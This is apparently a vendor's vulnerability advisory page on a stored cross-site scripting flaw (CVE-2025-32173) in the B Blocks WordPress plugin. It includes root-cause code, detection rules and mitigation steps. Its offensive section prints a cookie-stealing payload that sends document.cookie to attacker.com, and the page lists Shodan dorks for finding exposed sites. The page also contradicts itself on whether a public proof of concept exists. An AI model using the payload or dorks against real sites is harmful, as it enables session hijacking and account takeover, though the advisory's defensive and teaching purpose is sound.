☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Bplugins logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32173

CVE-2025-32173 Cross-Site Scripting in Bplugins
📅 PUBLISHED: 2025-04-04 16:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.88%
👁️
0.88% probability
22.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32173 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the B Blocks WordPress plugin by bPlugins, affecting versions up to and including 2.0.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the WordPress site. When an administrator or other user views the compromised page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low-privilege access and user interaction. No public proof-of-concept or exploit code has been released, and the vendor has not yet provided a patch. This report provides a comprehensive technical analysis, detection rules, and mitigation guidance for this WordPress ecosystem vulnerability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the B Blocks WordPress plugin, which is distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is part of the broader PHP/WordPress supply chain. Organizations using this plugin should monitor for updates from the vendor (bPlugins) and consider temporary removal or disabling of the plugin until a patch is available. The lack of a patch increases supply chain risk, as the vulnerable code remains in active use.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or race conditions are required.
  • Privileges Required (PR): Low – An attacker needs contributor-level access or higher to the WordPress site.
  • User Interaction (UI): Required – The victim (e.g., an administrator) must visit the compromised page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from other pages).
  • Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content (e.g., defacement).
  • Availability (A): Low – Limited impact on availability (e.g., redirects).

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation and lateral movement within the WordPress admin panel makes this a significant risk for multi-user sites.

Deep Dive & Mechanics

The vulnerability resides in the B Blocks plugin, which provides custom Gutenberg blocks for the WordPress block editor. The plugin fails to properly sanitize or escape user-supplied input when rendering block attributes or content on the front end. Specifically, when a user with contributor-level access or higher creates or edits a post using a vulnerable block, the plugin stores the input without adequate validation. When the post is viewed by another user (including administrators), the stored input is rendered without proper output encoding, allowing arbitrary HTML and JavaScript to execute.

Root Cause: The plugin uses functions like echo or the_content filter without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post(), or esc_attr()) on user-controlled data. This allows an attacker to inject script tags or event handlers (e.g., onload, onerror) that execute in the context of the victim’s browser.

Attack Flow:

  1. Attacker logs in with contributor-level credentials.
  2. Attacker creates a new post or edits an existing one using a vulnerable B Blocks block.
  3. Attacker inserts malicious payload into a block attribute (e.g., [caption] or [alt] field): <script>alert(document.cookie)</script>.
  4. The payload is stored in the WordPress database.
  5. Administrator or other user visits the compromised post.
  6. The payload executes, potentially stealing session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Example):

// In a block render callback
function b_blocks_render_block($attributes) {
    $caption = $attributes['caption'];
    // Direct output without escaping
    return '<figcaption>' . $caption . '</figcaption>';
}

Patched Code (Hypothetical):

function b_blocks_render_block($attributes) {
    $caption = isset($attributes['caption']) ? esc_html($attributes['caption']) : '';
    return '<figcaption>' . $caption . '</figcaption>';
}

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution. Alternatively, wp_kses_post() could be used to allow safe HTML while stripping dangerous tags.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site with B Blocks plugin version <= 2.0.0 installed and activated.
  • A user account with contributor-level privileges or higher.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new post or page.
  3. Add a B Blocks block (e.g., Image, Gallery, or Caption block).
  4. In the block’s caption or alt text field, inject the following payload:
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    
    Or a simpler script payload:
    <script>alert('XSS')</script>
    
  5. Publish or save the post as a draft.
  6. Send the post URL to an administrator or wait for them to visit it.
  7. When the victim views the post, the payload executes, sending their cookies to the attacker’s server.

Note: No public exploit code is available. The above is a generic Stored XSS exploitation technique.

Blue Team (Defensive)

Detection:

  • Monitor WordPress admin logs for unusual post content creation, especially by low-privilege users.
  • Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search the WordPress database for posts containing suspicious HTML/JavaScript:
    SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%<script%' OR post_content LIKE '%onerror%' OR post_content LIKE '%onload%';
    
  • Review plugin code for missing escaping functions in block render callbacks.

Containment:

  • Disable or remove the B Blocks plugin immediately.
  • If removal is not possible, restrict contributor-level access to trusted users only.
  • Use a WordPress security plugin (e.g., Wordfence) to block malicious input.

Indicators of Compromise (IOCs)

  • File Hashes (SHA-256): (None available – plugin files are not signed)
  • Network Indicators:
    • Outbound connections to unknown domains from the WordPress server (e.g., attacker.com).
    • HTTP requests containing document.cookie or fetch( in the body.
  • Database Indicators:
    • Posts containing <script>, onerror, onload, or javascript: in block attributes.
    • Suspicious entries in wp_postmeta with meta keys like _b_blocks_caption.
  • Log Indicators:
    • WordPress debug log entries showing unescaped output.
    • Web server access logs with POST requests to /wp-admin/post.php containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_32173_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in B Blocks plugin content"
        author = "Valters IT"
        date = "2025-04-15"
        reference = "CVE-2025-32173"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS via B Blocks Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created by B Blocks plugin
author: Valters IT
date: 2025-04-15
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32173 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the B Blocks plugin until a patched version is released.
  2. Restrict user roles: Remove contributor-level access from untrusted users.
  3. Apply virtual patching: Use a WAF to block requests containing <script>, onerror, onload, or javascript: in POST data to /wp-admin/post.php.

Long-term Fix:

  • The vendor (bPlugins) must release a patched version that properly escapes all user-supplied input using WordPress functions like esc_html(), esc_attr(), or wp_kses_post().
  • Implement a Content Security Policy (CSP) with script-src 'self' to mitigate XSS impact.

Workarounds:

  • Use a WordPress security plugin (e.g., Wordfence, Sucuri) to add input validation and output escaping.
  • Manually edit the plugin files to add escaping (not recommended for non-developers).

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"B Blocks"
http.html:"b-blocks"
http.html:"wp-content/plugins/b-blocks"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32173/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.